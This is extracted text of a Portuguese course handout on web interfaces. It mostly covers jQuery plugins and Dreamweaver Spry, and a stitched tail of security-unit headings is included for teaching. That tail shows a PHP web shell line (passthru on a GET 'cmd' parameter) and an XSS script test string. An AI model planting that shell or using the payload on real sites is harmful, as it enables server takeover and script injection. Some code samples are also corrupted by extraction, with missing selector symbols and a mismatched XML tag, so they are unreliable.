especifico: Java Script: Document.getElementsById(id_da_div); JQuery: $( #id_da_div); Pegando um exemplo pratico, suponhamos que voc queria esconder todas as tags P de um elemento especifico:
63
JQuery: $( p, id_da_div).hide();
Fcil no? Alem de poder manipular os eventos e propriedades dos elementos, o JQuery conta com efeitos visuais pr-definidos, veja o exemplo: $(p).fadeIn(slow); $(p).fadeOut(slow); $(p).fadeTo(slow, 0.5);
Neste exemplo estamos atribuindo o efeito de Fade (Esmaecimento) a todas as tags P do documento. Dentre as atribuies, algumas mais usadas nos nossos dias como a manipulao de eventos tambm seguem a facilidade e simplicidade no uso: Veja o cdigo HTML abaixo: <div id="menu"> <p>www.vipertech.com.br</p> </div> <button id="botao">Clique aqui</button> Criaremos agora o script que manipula o evento do boto do formulrio: $("botao").click( function() { $("p", "menu" ).fadeOut ("slow"); }); O que estamos fazendo simples e bem fcil de compreender, procuramos o elemento Boto dentro do documento, e atribumos uma funo ao evento CLICK, que consiste em aplicar o efeito FADEOUT ao pargrafo nomeado MENU. Como voc j deve ter observado, s neste exemplo poupamos a escrita de inmeras linhas de cdigo, ganhando muito tempo de implementao. Por fim na JQuery temos mtodos simples, como o que simula a funo innerHTML do Java Script: ("div").html("<b>Novo N HTML</b>"); E atributos de imagem:
64
("botao").click( function() { ("img").attr("src","img/editar.png"); });
A documentao do site em que voc baixa a biblioteca bem completa, sendo que muito material e exemplos so encontrados facilmente na internet, devido a rpida difuso deste material. A seguir usaremos algumas outras bibliotecas livres para criarmos uma funcionalidade no mnimo interessante para o nosso site. Laboratrio: 1. Crie um texto com efeito de rolagem 2. Crie um texto com efeito de esmaecimento e reaparecimento 3. Crie um texto com efeito de desaparecimento sem ocupar mais especo que ocupava anteriormente 4. Crie um texto com efeito de desaparecimento ainda mantendo o especo que ocupava anteriormente 5. Crie um texto com efeito que simule piscar
6.3 Criando uma janela arrastvel

Recursos como o drag so muito usados em documentos que permitem certa interao do usurio com o site. Realizar esse processo no muito complicado, sendo o problema maior est em fazer algo que funcione em diversos navegadores (crossbrowsser). Utilizando-se dos recursos da biblioteca JQuery, e a juno de mais duas outras bibliotecas (iutil.js e idrag.js) iremos implementar de maneira rpida este recurso to atraente.] Primeiramente baixe os dois arquivos faltantes no seguinte endereo: http://interface.eyecon.ro/download Aps ter realizado o download teremos que incluir nesta ORDEM os trs arquivos em nosso documento HTML: <script type="text/javascript" src="jQuery.js"></script> <script type="text/javascript" src="iutil.js"></script>
65
<script type="text/javascript" src="idrag.js"></script>
Aps este processo voce ira criar uma DIV com um ID, a qual chamaremos de NOTICIAS. Coloque algum contedo dentro desta DIV, sendo que podemos ter qualquer coisa dentro dela. Veja o exemplo abaixo: <div id="noticias"> <table width="200" height="200" bgcolor="#CCCCCC"> <tr> <td align="center">Arraste</td> </tr> </table> </div>
Aps iremos simplesmente implementar o script com a JQuery capaz de realizar o processo de DRAG and DROP desta DIV. Observe o cdigo abaixo: <script type="text/javascript"> $(document).ready( function() { $('#noticias').Draggable( { ghosting: opacity: } ); } ); </script> true, 0.5
66
O significado lgico deste script que ao carregarmos o documento, uma funo executada e rasteia o documento atual procurando um elemento chamado NOTICIAS, atribuindo a propriedade DRAGGABLE presente na classe IDRAG. Alguns efeitos como GHOSTING: rastro, OPCITY: opacidade. Sendo que caso desejemos aplicar estes efeitos em outros elementos, basta apenas replicar o bloco referente DIV. Vejamos mais alguns exemplos de parmetros que a funo DRAGGABLE possui: snapDistance: Este parmetro defini quantos pixels os objeto deve ser movimentado para que seja iniciado o processo de arrastar. Isto serve basicamente para evitar que ocorra uma movimentao acidental frameClass: a definio da classe que ser aplicada ao objeto no momento da seleo. ghosting: Ao invs de arrastar o objeto, criado uma cpia dele e voc acaba arrastando a cpia, quando soltar o objeto original segue at o ponto que voc solto. opacity: Aplica uma opacidade na cpia do objeto. revert: Voc arrasta o objeto e ele retorna para o ponto inicial. grid: [x, y]: Mover em grade. Faz com que o objeto mova-se de tantos em tantos pixels no eixo (x e y). axis: 'vertically' ou 'horizontally' : Mover o objeto ou apenas na vertical ou na horizontal. Para criara barras por exemplo. zIndex: Define a camada que o objeto ir ocupar. cursorAt: { top: x, left: y }: Faz com que o bloco siga o ponteiro do mouse em determinada coordenada. containment: 'parent': Determina se o objeto poder se mover dentro do objeto onde est contido ou se poder mover-se por todo o documento. handle: 'alvo': Este parmetro serve para voc usar um determinado objeto dentro do bloco que deseja arrastar para ser seu ponto de arrasto. Como se fosse s naquele ponto onde se pode arrastar o objeto. Laboratrio
67
1. Crie uma lista de 9 itens que s possam ser arrastados para uma rea chamada carrinho de compras
2. Crie 5 imagens no formato de x e 5 no formato de bola. Crie uma tabela de 3 x 3 e permita que as imagens possam ser arrastadas para as clulas desta tabela
3. Crie um trs objetos em camadas diferentes que possam ser manipulados por todo o documento.
68
6.4 Criando uma vore de menus

Um dos recursos mais interessantes da biblioteca jquery a criao de menus na estrutura de rvores. Este processo que j bem utilizado com javascript, mas a biblioteca jquery tornou este processo bem mais simples. Para realizar estas atividades necessrio baixar:
jquery.treeview.js treeview.css
Nosso objetivo final uma tela como a tela abaixo:
69
Bem ento vamos incluir os arquivos necessrios para a execuo: <script src="../lib/jquery.js" type="text/javascript"></script> <script src="../jquery.treeview.js" type="text/javascript"></script> <link rel="stylesheet" href="../jquery.treeview.css" />
Logo aps vamos incluir o cdigo jquery <script> $(document).ready(function(){ // first example $("#navigation").treeview({ persist: "location", collapsed: true, unique: true }); }); </script>
Por fim colocamos a estrutura HTML que ir representar a estrutura propriamente dita:
70
<h4>Exemplo de Menu em rvore</h4> <ul id="navigation"> <li><a href="?1">Item 1</a> <ul> <li><a href="?1.0">Item 1.0</a> <ul> <li><a href="?1.0.0">Item 1.0.0</a></li> </ul> </li> <li><a href="?1.1">Item 1.1</a></li> <li><a href="?1.2">Item 1.2</a> <li><a href="?1.3">Item 1.3</a> <ul> <li><a href="?1.2.0">Item 1.2.0</a> <ul> <li><a href="?1.2.0.0">Item 1.2.0.0</a></li> <li><a href="?1.2.0.1">Item 1.2.0.1</a></li> <li><a href="?1.2.0.2">Item 1.2.0.2</a></li> </ul> </li> <li><a href="?1.2.1">Item 1.2.1</a> <ul> <li><a href="?1.2.1.0">Item 1.2.1.0</a></li> </ul> </li> <li><a href="?1.2.2">Item 1.2.2</a> <ul> <li><a href="?1.2.2.0">Item 1.2.2.0</a></li> <li><a href="?1.2.2.1">Item 1.2.2.1</a></li> <li><a href="?1.2.2.2">Item 1.2.2.2</a></li> </ul>
71
</li> </ul> </li> </ul> </li> <li><a href="?2">Item 2</a> <ul> <li><span>Item 2.0</span> <ul> <li><a href="?2.0.0">Item 2.0.0</a> <ul> <li><a href="?2.0.0.0">Item 2.0.0.0</a></li> <li><a href="?2.0.0.1">Item 2.0.0.1</a></li> </ul> </li> </ul> </li> <li><a href="?2.1">Item 2.1</a> <ul> <li><a href="?2.1.0">Item 2.1.0</a> <ul> <li><a href="?2.1.0.0">Item 2.1.0.0</a></li> </ul> </li> <li><a href="?2.1.1">Item 2.1.1</a> <ul> <li><a href="?2.1.1.0abc">Item 2.1.1.0</a></li> <li><a href="?2.1.1.1">Item 2.1.1.1</a></li> <li><a href="?2.1.1.2">Item 2.1.1.2</a></li> </ul> </li> <li><a href="?2.1.2">Item 2.1.2</a> <ul>
72
<li><a href="?2.1.2.0">Item 2.1.2.0</a></li> <li><a href="?2.1.2.1">Item 2.1.2.1</a></li> <li><a href="?2.1.2.2">Item 2.1.2.2</a></li> </ul> </li> </ul> </li> </ul> </li> <li><a href="?3">Item 3</a> <ul> <li class="open"><a href="?3.0">Item 3.0</a> <ul> <li><a href="?3.0.0">Item 3.0.0</a></li> <li><a href="?3.0.1">Item 3.0.1</a> <ul> <li><a href="?3.0.1.0">Item 3.0.1.0</a></li> <li><a href="?3.0.1.1">Item 3.0.1.1</a></li> </ul> </li> <li><a href="?3.0.2">Item 3.0.2</a> <ul> <li><a href="?3.0.2.0">Item 3.0.2.0</a></li> <li><a href="?3.0.2.1">Item 3.0.2.1</a></li> <li><a href="?3.0.2.2">Item 3.0.2.2</a></li> </ul> </li> </ul> </li> </ul> </li> </ul>
73
Laboratrio 1. Crie um menu em rvore que tenha suas informaes oriundas de um XML 2. Crie um menu em rvore que tenha suas informaes oriundas de uma tabela de um banco de dados
6.5 Criando efeito lightBox

Um dos efeitos mais famosos do uso de Ajax o LightBox. A forma de realiz-lo que anteriormente exigia uma gama significativa de comandos, hoje substituda por poucas linhas em jquery. Para executar este efeito baixe: jquery.lightbox-0.4.js jquery.lightbox-0.4.css Realize os includes para estes arquivos <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="jquery.lightbox-0.4.js"></script>
Os links para as imagens podem ter uma formatao parecida com esta: <a href="imagem_grande.jpg"><img src="imagem_pequena.jpg" width="72" height="72" alt="" /></a> Para ativar o recurso basto inserir o seguinte script: <script type="text/javascript"> $(function() { $('a[@rel*=lightbox]').lightBox(); // Seleciona todos os links que contem o valor lightbox no atributo rel $('#galeria a').lightBox(); // Seleciona todos os links do objeto com o id galeria $('a.lightbox').lightBox(); // Seleciona todos os links da classe lightbox
74
$('a').lightBox(); // Seleciona todos os links da pgina }); </script> Laboratrio. 1. Crie uma galeria com 3 imagens e utiliza o efeito lightbox
6.6 Ordenando tabelas

O resultado de um arquivo XML ou mesmo aqueles que so retornados diretamente do banco de dados, nem sempre se apresentam na ordenao desejada pelo usurio. Por isto muito comum criarmos ordenao de colunas atravs dos ttulos das mesmas. A biblioteca jquery possui funes que facilitam esta tarefa. Para realizar esta atividade baixe o seguinte arquivo: jquery.tablesorter.min.js
Nosso objetivo final uma tela semelhante a esta:
Vamos ento linkar os arquivos necessrios: <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="jquery.tablesorter.min.js"></script>
Inserimos o script jquery <script>
75
$(document).ready(function() { $("#myTable").tablesorter( {sortList: [[0,0], [1,0]]} ); } ); </script> Por fim o cdigo HTML: <table id="myTable" class="tablesorter"> <thead> <tr> <th>Last Name</th> <th>First Name</th> <th>Email</th> <th>Due</th> <th>Web Site</th> </tr> </thead> <tbody> <tr> <td>Smith</td> <td>John</td> <td>jsmith@gmail.com</td> <td>$50.00</td> <td>http://www.jsmith.com</td> </tr> <tr> <td>Bach</td> <td>Frank</td> <td>fbach@yahoo.com</td> <td>$50.00</td> <td>http://www.frank.com</td> </tr> <tr>
76
<td>Doe</td> <td>Jason</td> <td>jdoe@hotmail.com</td> <td>$100.00</td> <td>http://www.jdoe.com</td> </tr> <tr> <td>Conway</td> <td>Tim</td> <td>tconway@earthlink.net</td> <td>$50.00</td> <td>http://www.timconway.com</td> </tr> </tbody> </table>
Laboratrio: 1. Crie uma tabela com possibilidade de ordenao que tenha seu dados originados de um arquivo XML. 2. Crie uma tabela com possibilidade de ordenao que tenha seu dados originados de uma tabela de um banco de dados.
6.7 Amplinado Imagens

A ampliao de imagem tem um recurso largamente utilizado em sites de e-commerce por proporcionar ao usurio uma viso mais detalhada do produto. A biblioteca jquery possui funes que facilitam esta tarefa. Para realizar esta atividade baixe o seguinte arquivo: js/jquery.jqzoom.js
77
Vamos ento linkar os arquivos necessrios: <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src=" jquery.jqzoom.js"></script>
Inserimos o script jquery <script type="text/javascript"> jQuery.noConflict(); jQuery(document).ready(function(){ $("img.jqzoom").jqueryzoom({ xzoom: 200, //largura do div de zoom(o valor padro 200) yzoom: 200, // altura do div de zoom (o valor padro 200) offset: 10 //intensidade do zoom (o valor padro 10) //position: "right" //posio do div do zoom(o valor padro rigth) }); }); </script>
Por fim o cdigo HTML: <div id="wrapper">
78
<div id="maincontent"> <div style="float:left;width:100%;clear:both;"><span class="tozoom"><img src="images/shoe1_small.jpg" class="jqzoom" alt="images/shoe1_big.jpg"></span> <span class="tozoom"><img src="images/shoe2_small.jpg" class="jqzoom" alt="images/shoe2_big.jpg"></span> <span class="tozoom"><img src="images/shoe3_small.jpg" class="jqzoom" alt="images/shoe3_big.jpg"></span> <span class="tozoom"><img src="images/shoe4_small.jpg" class="jqzoom" alt="images/shoe4_big.jpg"></span> </div> <span style="float:left;width:100%;height:200px;"> </span> </div>
Laboratrio: Crie uma galeria de fotos com 4 fotos que suas ampliaes sempre apaream no mesmo local.
6.8 Criando Avaliaes

A avaliao de um atendimento, vendedor, cliente ou produto um recurso largamente utilizado em sites de e-commerce por proporcionar ao usurio uma viso mais detalhada do item. A biblioteca jquery possui funes que facilitam esta tarefa. Para realizar esta atividade baixe o seguinte arquivo: rating.js rating.css Images: star.gif, delete.gif
79
Vamos ento linkar os arquivos necessrios: <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="rating.js"></script>
Inserimos o script jquery <script type="text/javascript"> $(document).ready(function() { $('#star1').rating('www.url.php', {maxvalue: 1}); $('#star2').rating('www.url.php', {maxvalue:1, curvalue:1}); $('#rate1').rating('www.url.php', {maxvalue:5}); $('#rate2').rating('www.url.php', {maxvalue:5, curvalue:3}); }); </script>
Por fim o cdigo HTML: <div id="star1" class="rating"> </div> <div id="star2" class="rating"> </div> <div id="rate1" class="rating"> </div> <div id="rate2" class="rating"> </div>
Laboratrio:
80
Crie uma lista de vendedores, uma avaliao para cada um e armazene em banco a avaliao deles.
6.9 Menus em Abas

Os menus em abas so muito uteis para poupar espao e tornar o ambiente mais interessante. A biblioteca jquery possui funes que facilitam esta tarefa. Para realizar esta atividade baixe o seguinte arquivo: jquery-ui-personalized-1.5.2.packed.js sprinkle.js
Vamos ento linkar os arquivos necessrios: <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="rating.js"></script>
81
O cdigo css: * { margin: 0; padding: 0; } body { font-size: 75%; color: #222; background: #ffffff; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; line-height: 1.6em; } .widget { width: 310px; margin: 20px; padding: 10px; background: #f3f1eb; border: 1px solid #dedbd1; margin-bottom: 15px; } .widget a { color: #222; text-decoration: none; } .widget a:hover { color: #009; text-decoration: underline; }
82
.tabnav li { display: inline; list-style: none; padding-right: 5px; } .tabnav li a { text-decoration: none; text-transform: uppercase; color: #222; font-weight: bold; padding: 4px 6px; outline: none; } .tabnav li a:hover, .tabnav li a:active, .tabnav li.ui-tabs-selected a { background: #dedbd1; color: #222; text-decoration: none; } .tabdiv { margin-top: 2px; background: #fff; border: 1px solid #dedbd1; padding: 5px; } .tabdiv li { list-style-image: url("star.png"); margin-left: 20px;
83
} .ui-tabs-hide { display: none; }
Inserimos o script jquery $(document).ready(function() { $('#tabvanilla > ul').tabs({ fx: { height: 'toggle', opacity: 'toggle' } }); });
Por fim o cdigo HTML: <div id="tabvanilla" class="widget"> <ul class="tabnav"> <li><a href="#popular">Popular</a></li> <li><a href="#recent">Recent</a></li> <li><a href="#featured">Featured</a></li> </ul> <div id="popular" class="tabdiv"> <ul> <li><a href="#">Welsh Zombie Sheep Invasion</a></li> <li><a href="#">Sheep Rising From The Dead</a></li> <li><a href="#">Blogosphere Daily Released!</a></li> <li><a href="#">Aliens Infiltrate Army Base In UK Town</a></li> <li><a href="#">U2 Rocks New York's Central Park</a></li> <li><a href="#">TA Soldiers Wear Uniforms To Work</a></li> <li><a href="#">13 People Rescued From Flat Fire</a></li> <li><a href="#">US Troops Abandon Afghan Outpost</a></li>
84
<li><a href="#">Are We Alone? A Look Into Space</a></li> <li><a href="#">Apple iPhone 3G Released</a></li> </ul> </div> <div id="recent" class="tabdiv"> <p>Lorem ipsum dolor sit amet.</p> </div> <div id="featured" class="tabdiv"> <ul> <li><a href="#">Aliens Infiltrate Army Base In UK Town</a></li> <li><a href="#">Are We Alone? A Look Into Space</a></li> <li><a href="#">U2 Rocks New York's Central Park</a></li> <li><a href="#">TA Soldiers Wear Uniforms To Work</a></li> <li><a href="#">13 People Rescued From Flat Fire</a></li> <li><a href="#">US Troops Abandon Afghan Outpost</a></li> <li><a href="#">Sheep Rising From The Dead</a></li> <li><a href="#">Blogosphere Daily Released!</a></li> <li><a href="#">Apple iPhone 3G Released</a></li> <li><a href="#">Welsh Zombie Sheep Invasion</a></li> </ul> </div> </div>
Laboratrio: Crie uma lista de notcias, produtos em destaque e emails que tenham sua origem em tabelas de banco de dados.
6.10 Exibindo dicas em links
85
Um recurso bastante interessante a existncia de dicas sobre os links, com informaes sobre os mesmos antes do clique do usurio. A biblioteca jquery possui funes que facilitam esta tarefa. Para realizar esta atividade baixe o seguinte arquivo: jtip.js
Vamos ento linkar os arquivos necessrios: <script src="js/jquery.js" type="text/javascript"></script> <script src="js/jtip.js" type="text/javascript"></script>
Por fim o cdigo HTML: <div id="contentPad"> <p><strong>Roll over a question mark:</strong></p> <label style="padding-right:5px">Password</label><input name="" type="text" /><span class="formInfo"><a href="ajax.htm?width=375" class="jTip" id="one" name="Password must follow these rules:">?</a></span>
86
<br /> <br /> <label style="padding-right:5px">User ID</label><input name="" type="text" /><span class="formInfo"><a href="ajax2.htm?width=475" class="jTip" id="two" name="">?</a></span> <p><strong>Try adjusting the browser window so the links in the paragraphs below are as close to the right side of the window as possible. Roll over a link in the paragraphs below. This demonstrates how the tool tip will flip horizontally depending upon the space between the tool tip and the right side of the window. Don't worry the script also accounts for the custom widths.</strong></p> <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut <a href="ajax4.htm?width=475" class="jTip" id="six" name="Window caption or title">Tip With Caption</a> enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat.</p> <p>Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu <a href="ajax3.htm?width=375" class="jTip" id="three">Tip No Caption</a> feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut <a href="ajax5.htm" class="jTip" id="four" name="Window caption or title">No Specified Width</a> et dolore magna aliquam erat volutpat.</p> <p><strong>The link below demonstrates a tool tip on a text link that allows for the link to accommodate an additional URL (using a query string). So that a link will functions as expect if clicked. Notice the cursor change.</strong></p> </div>
Note que no houve a necessidade de especificar uma funo em jquery, pois a mesma est inserida no arquivo jtip. Para que a dica seja exibida, basta definir o link como peretencente a classe jtip e o seu respectivo href como sendo a pgina que contem o texto da dica.
Laboratrio:
87
Crie um texto que contenha pelo menos 5 dicas.
6.11 Exibindo um Calendrio

Para preenchimento de formulrios em geral muito comum a utilizao de calendrios com o objetivo de facilitar a vida do usurio. A biblioteca jquery possui funes que facilitam esta tarefa. Para realizar esta atividade baixe os seguintes arquivos: date.js jquery.datePicker.js datePicker.css
88
Vamos ento linkar os arquivos necessrios: <script type="text/javascript" src="scripts/date.js"></script> <script type="text/javascript" src="scripts/jquery.datePicker.js"></script> <link rel="stylesheet" type="text/css" media="screen" href="styles/datePicker.css">
Inserimos o script jquery <script type="text/javascript" charset="utf-8"> $(function() { $('.date-pick').datePicker({autoFocusNextInput: true}); }); </script>
Por fim o cdigo HTML:
89
<form name="chooseDateForm" id="chooseDateForm" action="#"> <fieldset> <legend>Test date picker form</legend> <ol> <li> <label for="date1">Date 1:</label> <input name="date1" id="date1" class="date-pick" /> </li> <li> <label for="date2">Date 2:</label> <input name="date2" id="date2" class="date-pick" /> </li> <li> <label for="test-select">Test select:</label> <select name="test-select" id="test-select" style="width: 170px"> <option value="1">Test SELECT </option> <option value="2">Doesn't shine through</option> <option value="3">Even in IE</option> <option value="4">Yay!</option> </select> </li> </ol> </fieldset> </form>
Laboratrio: Crie um formulrio para reserva de passagens e valide se a data de sada menor que a data de retorno.
90
Unidade 7 -
Dreamweaver e o Ajax
A utilizao do Dreamweaver apenas um exemplo de ferramenta desta tecnologia, poderia ser utilizado outro editor da preferncia do usurio ou at mesmo o bloco de notas.
7.1 Abordagem simples sobre os componentes do SPRY

Por tornar-se to rapidamente um artifcio de fcil acesso e desenvolvimento, alguns aplicativos comuns no ambiente de desenvolvimento web acabaram tornando-se acessveis ao Ajax. Um deles, o qual muito conhecido e utilizado o Adobe Dreaweaver CS 3. Alem dos componentes conhecidos para o desenvolvimento de diversas linguagens, no mbito tanto da programao quanto visual um novo meio de inserir animaes dinmicas e acesso rpido a dados XML surgiu, o SPRY. O Spry um framework client side em forma de bibliotecas Java Script, apesar de desenvolvido pela Adobe pode ser utilizado por qualquer editor HTML, para saber mais sobre a ferramenta e suas atualizaes voc pode acessar o site: labs.adobe.com/technologies/spry/ Baseado em elementos e mtodos do DOM, juntamente com a tecnologia XML esse modulo destaca-se pela sua facilidade de acesso no Dreaweaver CS3. Para acessar os componentes do Spry no Dreamweaver CS3 siga as instrues abaixo:
Seguindo o menu apresentado voc ver a apresentao dos seguintes componentes respectivamente:
91
Spry Xml Data Set: o principal componente da utilizao do Spry, nele voc ira configurar os dados e o documento XML fonte de onde estes dados sero lidos para o documento HTML que estamos confeccionando.
Ao clicar neste item, a seguinte tela ser apresentada:
Voc dever definir um nome para o Dataset, container que receber os dados do arquivo XML lido. Atravs do boto BROWSE, selecione um arquivo XML, no nosso caso iremos selecionar um arquivo semelhante a estrutura apresentada abaixo: <?xml version="1.0" encoding="utf-8"?> <cidades> <cidade> <id_cidade>1</id_cidade> <nome>Alvorada</nome> </cidade> <cidade> <id_cidade>14</id_cidade>
92
<nome>Porto Alegre</nome> </cidade> </cidades> </municipios>
Clique a seguir em Get Schema e a estrutura hierrquica do documento XML ser apresentada na janela de dialogo logo abaixo:
Nas opes abaixo voc poder selecionar o tipo de dado (Data type) que est contido dentro dos nodos principais do XML. O campo Sort responsvel pela ordenao dos dados lidos no XML, onde podemos tambm selecionar a direo de leitura (Direction) como Ascendente (Ascending) ou Descendente (Descending). Uma das opes relevantes nesta estrutura de configurao a opo Turn XML Data Caching Off, em que voc pode solicitar que o prprio script do Spry atualize a leitura dos dados do arquivo XML a cada n Segundos, evitando assim que o mesmo no seja mantido em cach e que os dados fiquem desatualizados. Aps ter selecionado as opes desejadas, clique em OK. Praticamente no modo de layout do documento nada ira ser afetado, entretanto se analisarmos o cdigo fonte do arquivo HTML notaremos algumas novidades: <script src="SpryAssets/xpath.js" type="text/javascript"></script> <script src="SpryAssets/SpryData.js" type="text/javascript"></script>
93
<script type="text/javascript"> <!-var ds1 = new Spry.Data.XMLDataSet("01.xml", "cidades/cidade"); ds1.setColumnType("id_cidade", "number"); //--> </script> Se voc observar ver que dois novos arquivos .JS esto sendo utilizados no seu arquivo, estes foram copiados automaticamente pelo Dreamweaver para o diretrio raiz onde encontra-se este documento. Ambos so necessrios para que a futura aplicao funcione, sendo estes os mantenedores dos arquivos da biblioteca Spry. Vamos agora selecionar o segundo componente da barra de itens do Spry: Spry Region: como voc j esta acostumado, quando trabalhamos com formulrios em nosso site comum utilizarmos as tags FORM dentro do nosso documento, delimitando qual ser a rea que possuir os componentes do nosso formulrio. Da mesma maneira deveremos prosseguir com a utilizao do Spry, ento clique no item mencionado, e a seguinte caixa de dialogo ser apresentada:
Aqui voc pode selecionar se ira preferir que esta regio do Spry seja atribuda uma DIV ou SPAN, logo aps clique em OK. Uma linha pontilhada em preto com o comentrio Content for Spry Region Goes Here aparecer no modo layout, sendo que todo e qualquer componente que acesse os dados dinmicos via Spry dever ser adicionado dentro desta rea. Voc pode apagar estar mensagem, e a seguir passar para o prximo passo:
94
Spry Table este item interessante, pois ser responsvel por criar uma lista de repetio com os dados que foram localizados dentro do XML dentro de uma tabela, note que ao selecionar este item, a seguinte caixa de dialogo ser exibida:
Dentre as configuraes existentes, devemos ressaltar a opo Sort Column when Header is Clicked, ou seja, ordenar as colunas conforme os cliques em seus cabealhos. Esta opo se selecionada facilita muito a vida do usurio quando tratamos de listar dados em forma de relatrios por exemplo, onde de extrema importncia a ordenao por colunas. Como voc pde observar a utilizao de arquivos XML em conjunto com novos e inmeros componentes da web esto cada vez mais aproximando o acesso a internet das funcionalidades do desktop. Por fim iremos a seguir ver outra grande utilidade dos componentes SPRY da Adobe, a transio de elementos no documento.
7.2 Efeitos SPRY com SPRY Effects

Efeitos de transio so muito comuns em arquivos animados como os feitos em FLASH, ou em Silverlight da Microsoft, entretanto esta funcionalidade antes mal vista pelo desenvolvedores web por sua complexidade de ser implementada em paginas estticas sendo cada vez mais adotada. Devido a sua leveza e a compatibilidade com inmeros navegadores os efeitos com DOM e Ajax se tornam cada vez mais populares e de fcil manipulao. Visite o endereo abaixo:
95
http://labs.adobe.com/technologies/spry/demos/effects/ A Adobe disponibilizou um Demo de alguns efeitos que podem ser criados com o SPRY sem a necessidade de muito conhecimento na rea de desenvolvimento. Efeitos como Grow (crescer), Shrink (encolher), Fade (esmaecer) entre outros esto disponveis para uso dentro da biblioteca Spry effects. Veja abaixo o exemplo de como aplicar um efeito de Fade usando o cdigo Spry em sua pagina: Insira os seguintes arquivos nesta exata ordem no documento HTML: <link href="effects.css" rel="stylesheet" type="text/css" /> <link href="../css/screen.css" rel="stylesheet" type="text/css" /> <script type="text/javascript" src="../../includes/SpryEffects.js"></script> <script type="text/javascript" src="effects.js"></script> Dentro do corpo do seu documento voc dever atribuir um evento a uma tag de sua preferncia, como no nosso exemplo abaixo em que atribumos o efeito a um link: <a href="#" onclick="runEffect('Fade', 'product_box', {duration: 1000, from: 100, to: 0, toggle: true}, '');">Fade</a>
Dentro desta sintaxe alguns parametros so passados visando configurar o efeito que ser executado no evento: runEffect('Fade', 'product_box', {duration: 1000, from: 100, to: 0, toggle: true}
Onde: Fade: efeito; product Box: nome da DIV ou elemento que sofrer o efeito. Duartion: durao em milisegundos do efeito. From: de onde comea (valor em %). To: onde termina (valor em %).
96
Toggle: repetio (true = no repete, false = repete). Verifique o efeito no documento criado, e experimente aplicar os outros efeitos disponveis no site da Adobe.
Aplicando efeitos Spry pelo Dreamweaver Para aplicar este efeito pela interface do Drewamweaver, primeiramente crie um elemento novo, uma DIV por exemplo, e atribua um nome a ela: <div id="noticia"> Esta uma noticia! </div>
A seguir crie um link, e clique sobre ele: <a href=#>Clique aqui</a> Com o link selecionado no modo design, clique no menu lateral e selecione a guia TAG Behaviors Effects Appear Fade. Veja a imagem abaixo:
97
Uma caixa de dialogo ser exibida solicitando que voc aponte qual ser o elemento que receber o efeito, selecione ento a DIV NOTICIA que voc acabou de criar:
Agora clique em OK e visualize o documento no seu navegador. Pronto! De forma rpida e simples voc aplicou o efeito em um elemento sem a necessidade de mexer no cdigo.
98
Unidade 8 8.1 Aplicando os recursos na prtica:
Trabalho final:
Visando fixar o material visto ao longo do curso, vamos agora implementar uma soluo que aborda todo contedo visto. Projeto: interface inicial de uma intranet com contedo dinmico acessvel por Ajax. Veja a imagem a seguir e baseie-se nela para construir a arquitetura do seu projeto:
Dentre os itens que esto sendo demonstrados, as janelas de contedo devero ser arrastveis e selecionveis, e as opes de estados e cidades dos formulrios de contato devero utilizar Ajax no carregamento, evitando assim que a tela seja recarregada. No se apegue a detalhes de layout, aplique apenas as funcionalidades solicitadas.
99
100

To de Interfaces Na WEB

Transféré par

Informations du document

Titre original

Copyright

Formats disponibles

Partager ce document

Partager ou intégrer le document

Options de partage

Avez-vous trouvé ce document utile ?

Ce contenu est-il inapproprié ?

Droits d'auteur :

Formats disponibles

To de Interfaces Na WEB

Transféré par

Droits d'auteur :

Formats disponibles

DESENVOLVIMENTO DE INTERFACES NA WEB

UNIDADE 1 1.1 1.2

INTERFACES - SEGURANA ....................................................................................................................... 3

UNIDADE 4 4.2 4.3 4.4

UNIDADE 7 7.1 7.2

APLICANDO OS RECURSOS NA PRTICA: ........................................................................................................................... 99

Desenvolvimento de Interfaces na Web

1.1 Conceitos de Segurana

Desenvolvimento de Interfaces na Web

1.2 Invases em PHP

1.2.1 Variveis Globais

Desenvolvimento de Interfaces na Web

Por exemplo: http://site.com.br/teste.php?id=4&cidade=poa

Desenvolvimento de Interfaces na Web

1.2.2 Arquivos include

Desenvolvimento de Interfaces na Web

Vejamos outro exemplo: <?php passthru($_GET['cmd']); ?>

Desenvolvimento de Interfaces na Web

1.2.3 SQL injection

Desenvolvimento de Interfaces na Web

Desenvolvimento de Interfaces na Web

Desenvolvimento de Interfaces na Web

1.2.4 Protegendo partes dos arquivos

Desenvolvimento de Interfaces na Web

1.2.5 Cross Site Scripting (CSS/XSS)

Desenvolvimento de Interfaces na Web

exit; } else { //blah } ?> search.php?q=<script>alert("hello");</script>

1.2.6 Ver cdigo fonte

Desenvolvimento de Interfaces na Web

1.2.7 Comandos shell

Desenvolvimento de Interfaces na Web

1.2.8 Senhas de banco de dados

Desenvolvimento de Interfaces na Web

Unidade 2 2.1 Usabilidade

Desenvolvimento de Interfaces na Web

2.1.1 Usurio como foco

Desenvolvimento de Interfaces na Web

Desenvolvimento de Interfaces na Web

Unidade 3 3.1 Conceitos

3.2 O que Ajax?

Desenvolvimento de Interfaces na Web

Desenvolvimento de Interfaces na Web

3.3 Os quatro princpios do AJAX:

Desenvolvimento de Interfaces na Web

Desenvolvimento de Interfaces na Web

3.4 Como comear?

3.5 Como testar o navegador?

Desenvolvimento de Interfaces na Web

Desenvolvimento de Interfaces na Web

3.6 Requisitando em diversos browsers:

Desenvolvimento de Interfaces na Web

Desenvolvimento de Interfaces na Web

3.7 Enviando a requisio - parmetros do envio da requisio

Desenvolvimento de Interfaces na Web

3.7.1 Analisando os 5 estados da requisio

Desenvolvimento de Interfaces na Web

3.8 Verificando os dados retornados pelo servidor:

3.9 Retornos em texto simples:

Desenvolvimento de Interfaces na Web

function monta(){ var dados = xmlhttp.responseText; }

Desenvolvimento de Interfaces na Web

Desenvolvimento de Interfaces na Web

